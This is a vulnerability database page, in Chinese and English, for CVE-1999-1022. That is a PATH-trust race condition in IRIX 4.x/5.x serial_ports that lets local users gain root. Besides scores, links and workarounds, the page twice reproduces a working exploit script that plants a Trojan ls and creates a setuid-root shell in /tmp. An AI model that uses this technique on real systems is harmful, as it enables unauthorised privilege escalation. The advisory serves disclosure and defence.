CVE-1999-1022
CVSS6.2
发布时间 :1994-10-02 00:00:00
修订时间 :2008-09-05 16:18:32
NMCOES    

[原文]serial_ports administrative program in IRIX 4.x and 5.x trusts the user's PATH environmental variable to find and execute the ls program, which allows local users to gain root privileges via a Trojan horse ls program.


[CNNVD]IRIX serial_ports漏洞(CNNVD-199410-001)

        IRIX 4.x 和5.x版本中的serial_ports管理程序通过信任用户的PATH环境变量来发现和执行ls程序。本地用户可以通过特洛伊木马ls程序来获取根权限。

- CVSS (基础分值)

CVSS分值: 6.2 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sgi:irix:5.2SGI IRIX 5.2
cpe:/o:sgi:irix:5.3SGI IRIX 5.3
cpe:/o:sgi:irix:4

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1022
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1022
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199410-001
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/2111.php
(VENDOR_ADVISORY)  XF  sgi-serialports(2111)
http://www.securityfocus.com/bid/464
(VENDOR_ADVISORY)  BID  464
http://www.securityfocus.com/archive/1/930
(VENDOR_ADVISORY)  BUGTRAQ  19941002

- 漏洞信息

IRIX serial_ports漏洞
中危 其他
1994-10-02 00:00:00 2005-10-20 00:00:00
本地  
        IRIX 4.x 和5.x版本中的serial_ports管理程序通过信任用户的PATH环境变量来发现和执行ls程序。本地用户可以通过特洛伊木马ls程序来获取根权限。

- 公告与补丁

        Remove the setuid bit from the serial_portsd program:
        chmod -s /usr/lib/vadmin/serial_ports.
        Patches for this, and other SGI vulnerabilities, can be obtained at
        http://support.sgi.com.

- 漏洞信息 (19351)

SGI IRIX 5.2/5.3 serial_ports Vulnerability (EDBID:19351)
irix local
1994-02-02 Verified
0 transit
N/A [点击下载]
source: http://www.securityfocus.com/bid/464/info


A race condition exists in the serial_ports administrative program, as included by SGI in the 5.x Irix operating system. This race condition allows regular users to execute arbitrary commands as root.


cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
chmod 755 /tmp/ls
cd /tmp
set PATH=( . $PATH )
/usr/lib/vadmin/serial_ports
# wait about 10-20 seconds and hit ^C, or wait for it to
# die out completely
/tmp/foo
# whoami
root

		

- 漏洞信息

17058
IRIX serial_ports Race Condition Local Privilege Escalation
Local Access Required Race Condition
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

IRIX contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a race condition in the 'serial_ports' utility occurs. Because serial_ports uses the PATH variable to determine the location of the 'ls' program it could allow an attacker to trick the program into running an arbitrary program with elevated privileges.

- 时间线

1994-02-02 Unknow
1994-02-02 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): IRIX 4.x As root perform the following actions: # cd /usr/lib/vadmin # /bin/chmod 500 serial_ports IRIX 5.x If you have upgraded to IRIX 5.x from 4.x, SGI recommends removing the 4.x visual admin tools. As root perform the following actions: # rm diskTable.h disks disks.hlp # rm networking networking.hlp # rm printers printers.hlp # rm serial_ports serial_ports.hlp # rm users users.hlp # rm vadmin.hlp

- 相关参考

- 漏洞作者

- 漏洞信息

IRIX serial_ports Vulnerability
Race Condition Error 464
No Yes
1994-02-02 12:00:00 2009-07-11 12:56:00
This vulnerability was first discovered by transit <transit@primus.com>, and reported to the no-more-secrets mailing list, on February 2, 1994. It was posted to the Bugtraq mailing list by Tim Newsham <newsham@uhunix.uhcc.hawaii.edu> on October 2, 1994.

- 受影响的程序版本

SGI IRIX 5.3
SGI IRIX 5.2

- 漏洞讨论

A race condition exists in the serial_ports administrative program, as included by SGI in the 5.x Irix operating system. This race condition allows regular users to execute arbitrary commands as root.

- 漏洞利用

cat &gt; /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
chmod 755 /tmp/ls
cd /tmp
set PATH=( . $PATH )
/usr/lib/vadmin/serial_ports
# wait about 10-20 seconds and hit ^C, or wait for it to
# die out completely
/tmp/foo
# whoami
root

- 解决方案

Remove the setuid bit from the serial_portsd program:
chmod -s /usr/lib/vadmin/serial_ports.

Patches for this, and other SGI vulnerabilities, can be obtained at http://support.sgi.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站